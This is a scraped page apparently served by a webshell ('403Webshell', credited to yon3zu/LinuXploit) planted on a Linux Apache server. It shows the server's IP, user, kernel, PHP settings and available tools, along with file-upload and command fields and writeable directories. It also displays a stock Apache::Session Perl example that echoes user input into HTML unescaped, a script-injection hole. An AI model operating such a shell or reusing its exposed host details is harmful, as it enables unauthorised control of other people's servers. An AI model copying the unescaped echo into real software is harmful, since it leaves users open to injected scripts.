403Webshell
Server IP : 185.125.27.153  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux d6e05399ed1f11695f7c56648ed78c66 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64
User : uid174255 ( 174255)
PHP Version : 8.3.31
Disable Function : exec,passthru,pcntl_exec,popen,proc_open,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/doc/libapache-session-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/libapache-session-perl/examples/example.perl
#!/usr/bin/perl
######################################################################
#
# Consult the documentation before trying to run this file.
# You need a /tmp directory or you need to change the Directory option!
# This file also assumes PerlSendHeader Off.
#
######################################################################

use strict;
use Apache;
use CGI;
use Apache::Session::File;

my $r = Apache->request();

$r->status(200);
$r->content_type("text/html");
$r->send_http_header;

my $session_id = $r->path_info();
$session_id =~ s/^\///;

$session_id = $session_id ? $session_id : undef;

my %session;
my $opts = { Directory => '/tmp', LockDirectory => 'tmp', Transaction => 1 };

tie %session, 'Apache::Session::File', $session_id, $opts;

my $input = CGI::param('input');
$session{name} = $input if $input;

print<<__EOS__;

Hello<br>
Session ID number is: $session{_session_id}<br>
The Session ID is embedded in the URL<br>
<br>
Your input to the form was: $input<br>
Your name is $session{name}<br>

<br>
<a href="http://localhost/example.perl/$session{_session_id}">Reload this session</a><br>
<a href="http://localhost/example.perl">New session</a>

<form action="http://localhost/example.perl/$session{_session_id}" method="post">
  Type in your name here:
  <input name="input">
  <input type="submit" value="Go!">
</form>
__EOS__

Youez - 2016 - github.com/yon3zu
LinuXploit